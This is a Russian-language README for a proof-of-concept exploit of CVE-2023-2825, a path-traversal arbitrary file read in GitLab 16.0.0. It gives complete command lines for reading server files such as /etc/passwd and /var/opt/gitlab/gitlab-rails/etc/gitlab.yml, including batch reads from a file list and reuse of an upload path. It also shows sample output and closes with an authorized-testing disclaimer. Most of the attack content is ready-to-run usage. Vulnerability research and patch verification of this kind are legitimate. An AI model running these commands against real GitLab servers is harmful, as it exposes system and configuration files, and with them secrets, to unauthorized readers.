
PoC для CVE-2023-2825: автоматизированное произвольное чтение файлов в GitLab 16.0.0 через вложенные публичные группы, обход пути при загрузке файлов проекта, повторно используемые пути загрузки и чистый вывод CLI.
Доказательство концепции для CVE-2023-2825 — уязвимости произвольного чтения файлов в GitLab CE/EE 16.0.0.
Скрипт входит в систему с действительной учётной записью GitLab, создаёт необходимую структуру вложенных публичных групп, создаёт публичный проект, загружает вложение и использует уязвимое поведение обхода пути при загрузке (upload path traversal) для чтения целевого файла с сервера GitLab.
Также поддерживается повторное использование существующего пути загрузки, поэтому вам не нужно создавать новые группы и проекты для каждого чтения файла.
Python 3.8+
pip install -r requirements.txt
Требуемые пакеты Python:
beautifulsoup4
requests
urllib3
Значения, заключённые в угловые скобки, являются заполнителями. Замените их собственными значениями и не включайте символы < и >.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Пример вывода:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
После успешного запуска скрипт выводит путь загрузки, который можно использовать повторно:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Используйте его с --reuse-path, чтобы пропустить вход в систему, создание групп, создание проекта и загрузку:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Вы также можете передать полный URL и опустить --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Создайте список файлов:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Запустите:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path, чтобы избежать создания лишних групп и проектов.Данный PoC предназначен для авторизованного тестирования безопасности, лабораторных сред и проверки уязвимостей. Не используйте его против систем без явного разрешения.